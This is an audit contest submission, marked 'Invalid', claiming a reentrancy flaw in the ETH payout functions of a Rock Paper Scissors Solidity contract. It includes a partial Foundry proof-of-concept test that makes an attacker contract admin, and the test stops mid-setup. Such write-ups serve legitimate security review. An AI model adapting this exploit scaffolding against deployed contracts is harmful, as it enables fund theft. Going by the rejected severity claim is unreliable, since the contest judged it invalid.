Rock Paper Scissors

First Flight #38

Beginner FriendlySolidity

100 EXP

View results

Previous Next

Submission Details

Severity: high

Invalid

Reentrancy Vulnerability in ETH Payout Functions in RockPaperScissors.sol

nomadic_bear

Summary

The RockPaperScissors contract contains a High severity reentrancy vulnerability affecting multiple functions responsible for transferring ETH: withdrawFees, _finishGame, _handleTie, and _cancelGame. These functions utilize low-level .call{value: ...} for ETH transfers but lack adequate protection against reentrancy attacks, specifically the nonReentrant modifier provided by standard guards like OpenZeppelin's ReentrancyGuard. This absence allows a malicious contract receiving ETH to potentially call back into the RockPaperScissors contract during the transfer, enabling scenarios that could lead to state corruption or the loss/theft of protocol fees or player funds (winnings/refunds).

Vulnerability Details

The vulnerability stems from the use of low-level external calls (.call{value: _amount}("")) for transferring Ether within the RockPaperScissors.sol contract without implementing a reentrancy lock mechanism. Specifically, the following functions are affected:

withdrawFees(): Transfers accumulated protocol fees to the admin address. Located in src/RockPaperScissors.sol.
_finishGame(): An internal function that transfers the prize pool (less fees) to the game winner. Located in src/RockPaperScissors.sol.
_handleTie(): An internal function that transfers refunds (less fees) back to both players in case of a tie. Located in src/RockPaperScissors.sol.
_cancelGame(): An internal function that transfers the original bets back to players if a game is cancelled (e.g., via timeout). Located in src/RockPaperScissors.sol.

None of these functions utilize a standard reentrancy guard, such as OpenZeppelin's ReentrancyGuard and its nonReentrant modifier.

When .call{value: ...} is used to send ETH to an external address, if the recipient is a contract, its receive() or fallback() function is executed immediately within the same transaction context. This allows the recipient contract to make calls back into the RockPaperScissors contract before the execution of the original function (withdrawFees, _finishGame, etc.) has completed. This re-entry can bypass checks or manipulate state based on the assumption that the initial function call would complete atomically, potentially leading to unexpected behavior or exploitation. While some functions like withdrawFees may implement the Checks-Effects-Interactions (CEI) pattern internally (updating state before the call), this does not prevent the re-entry itself, which is the core vulnerability allowing potential cross-function interaction exploits.

PoC:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.13;

// Imports needed for testing and the contracts

import "forge-std/Test.sol";

import "../src/RockPaperScissors.sol";

import "../src/WinningToken.sol";

import {MaliciousPlayer} from "./MaliciousPlayer.sol"; // Adjust path if needed

// Test contract inheriting from Foundry's Test

contract RockPaperScissorsTest is Test {

// Event definition for FeeWithdrawn (useful for PoC context)

event FeeWithdrawn(address indexed admin, uint256 amount);

// Contract instances

RockPaperScissors public game;

WinningToken public token;

MaliciousPlayer public maliciousPlayer; // Instance of attacker contract

// Test accounts

address public admin;

address public playerA;

address public playerB; // Not used in this specific PoC, but part of original setup

// Test constants needed for setup

uint256 constant BET_AMOUNT = 0.1 ether;

uint256 constant TIMEOUT = 10 minutes;

uint256 constant TOTAL_TURNS = 3; // Must be odd

// Game ID storage

uint256 public gameId;

// State variables specifically for controlling the reentrancy attack in the PoC test

uint public reentrancyAttackCounter = 0; // Counter for the test contract's receive()

bool public reentrancyAttackActive = false; // Flag for the test contract's receive()

// Setup function runs before the test

function setUp() public {

// Assign addresses

admin = address(this); // Test contract acts as the admin initially

playerA = makeAddr("playerA");

playerB = makeAddr("playerB"); // Keep for consistency if other tests use it

// Fund accounts

vm.deal(playerA, 10 ether);

vm.deal(playerB, 10 ether);

vm.deal(address(this), 1 ether); // Fund the test contract itself

// Deploy the main game contract (which deploys the token internally)

game = new RockPaperScissors();

token = WinningToken(game.winningToken()); // Get token instance

// Mint tokens needed for some internal logic

address tokenOwner = game.tokenOwner();

vm.startPrank(tokenOwner);

token.mint(playerA, 1); // Mint minimal amount

token.mint(playerB, 1);

vm.stopPrank();

// Reset reentrancy flags before the test runs

reentrancyAttackCounter = 0;

reentrancyAttackActive = false;

}

// ==================== HELPER FUNCTIONS (Required for PoC Setup) ====================

// Helper to create a game and have player B join (using EOA for player B here)

function createAndJoinGame_Helper(address _playerB_addr) internal returns (uint256) {

vm.prank(playerA); // Player A creates

uint256 id = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);

vm.prank(_playerB_addr); // Specified player B joins

game.joinGameWithEth{value: BET_AMOUNT}(id);

return id;

}

// Helper to play a full turn (commit & reveal for both players)

// Uses corrected tuple destructuring to access game state

function playTurn_Helper(uint256 _gameId, address _playerA_addr, address _playerB_addr, RockPaperScissors.Move _moveA, RockPaperScissors.Move _moveB) internal {

// Destructure to get currentTurn (Slot 9 of 16)

(,,,,,,, , uint256 currentTurn_mem,,,,,,,) = game.games(_gameId);

// Player A commits

bytes32 saltA = keccak256(abi.encodePacked("saltA", _gameId, currentTurn_mem, uint8(_moveA)));

bytes32 commitA = keccak256(abi.encodePacked(uint8(_moveA), saltA));

vm.prank(_playerA_addr);

game.commitMove(_gameId, commitA);

// Player B commits

bytes32 saltB = keccak256(abi.encodePacked("saltB", _gameId, currentTurn_mem, uint8(_moveB)));

bytes32 commitB = keccak256(abi.encodePacked(uint8(_moveB), saltB));

vm.prank(_playerB_addr);

game.commitMove(_gameId, commitB);

// Player A reveals

vm.prank(_playerA_addr);

game.revealMove(_gameId, uint8(_moveA), saltA);

// Player B reveals

vm.prank(_playerB_addr);

game.revealMove(_gameId, uint8(_moveB), saltB);

}

// ==================== PLAYER PAYOUT REENTRANCY POC TEST ====================

function test_POC_ReentrancyPlayerPayout() public {

// Arrange: Setup game where MaliciousPlayer wins and is also admin

// 1. Deploy MaliciousPlayer

// --- FIX: Cast address(game) to payable ---

maliciousPlayer = new MaliciousPlayer(payable(address(game)));

vm.deal(address(maliciousPlayer), 1 ether); // Fund attacker contract

// 2. Set MaliciousPlayer as Admin

address originalAdmin = game.adminAddress(); // Usually address(this) from setUp

vm.prank(originalAdmin);

game.setAdmin(address(maliciousPlayer));

assertEq(game.adminAddress(), address(maliciousPlayer), "Setup Failed: MaliciousPlayer should be admin");

// 3. Create Game: PlayerA (EOA) vs MaliciousPlayer

vm.prank(playerA);

gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);

// 4. MaliciousPlayer Joins